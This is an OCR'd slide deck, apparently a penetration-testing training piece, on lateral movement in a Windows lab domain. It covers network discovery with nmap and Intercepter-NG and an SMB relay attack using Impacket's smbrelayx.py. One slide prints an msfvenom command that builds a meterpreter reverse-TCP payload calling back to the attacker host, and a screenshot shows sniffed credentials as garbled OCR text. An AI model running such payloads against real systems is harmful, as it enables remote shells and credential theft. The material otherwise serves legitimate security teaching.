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Lateral Pass => Moving through the network

* A lateral pass is used when you can not move forward, you are on
the compromised network but without privileges or account

credentials

* It is important to identify where sensitive data is being stored and

gain access to those environments

ISEC
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On the network without credentials
=> identify the network

* You breached the network but not having any credentials yet
(popped a box that was not connected to the domain)

* Identify the network (tcpdump,nmap,Intercepter-NG), find the
domain controllers and attack

Information Security Confidential - Partner Use Only iSEC
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On the network without credentials => identify
the network

* Intercepter-NG example: identifying the DC

Q Intercepter-NG 1.0

~Metwark Adapter
utﬂﬂ' I'lnteI[FI] 25741 Gigabit Metwaork Connection’ on local host:192.168.10.109

I

D A X
Frotocol | Tirmn... | From/To | H..| Uszermame | Pazzword |
Kerberos Auth 12:0... 192168.10.108/19216810.111:88 aezZhB-cte-hmac-shal...  SWITCHAG aku: $mskibb...
LOAP Auth 19:0.. 192168.10111192.168.10.108:389 £l ER uldafl0 L3e
LDAP Auth 190, 192168.10111/192.168.10.108:389 £l YIVE pottdICUTD: HS SR, .

ISEC
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Test Setup

| Attacker |
| Machine |
| Windows 10| +++++++

| Attacker | ++++++++
| Machine |
| Kali Linux |

IP: 192.168.10.12

| Domain |
+++++++++++++|  Controller |

| Server 2008 R2 |

+++++++++++++ | Windows 10 |

| connected |
| to the domain |

IP: 192.168.10.111
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A variety of attacks to comprise the systems

» Impacket: SMB replay attacks for NTLMv2; using smbrelayx.py
script

Impacket

Impacket is a collection of Python classes for working with network protocols.
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A variety of attacks to comprise the systems

* Creating payload for smbrelayx.py script using msfvenom

“ msfvenom -p windows/x64/meterpreter/reverse_tcp
LHOST=192.168.10.12 LPORT=15111 -f exe > shell.exe *

Information Security Confidential - Partner Use Only ISEC
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A variety of attacks to comprise the systems

« Starting smbrelayx.py
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A variety of attacks to comprise the systems

* 1P 192.168.10.111 (nightly software inventory process on this
machine) connecting to the attacker SMB server (192.168.10.12)

* By default Windows server 2008, 2008 R2 uses SMB signed
packets hence the attack will not work

10 Information Security Confidential - Partner Use Only ISEC
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A variety of attacks to comprise the systems

* By default Windows server 2008, 2008 R2 uses SMB signed
packets hence the attack will not work; another method to obtain
credentials is required; to be continued in Part 3

2|

Local Security Setting | Explain |
j Microsoft network server: Digitally sign communications (always)

& Enabled

€ Disabled
s ath‘)dd!fylngthssettngmaydTedconpdbﬁyvﬂhciertsm
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References

* Impacket
https://github.com/CoreSecurity/impacket

* SMB relay
https://pen-testing.sans.org/blog/2013/04/25/smb-relay-demystified-and-ntimv2-pwnage-

with-python
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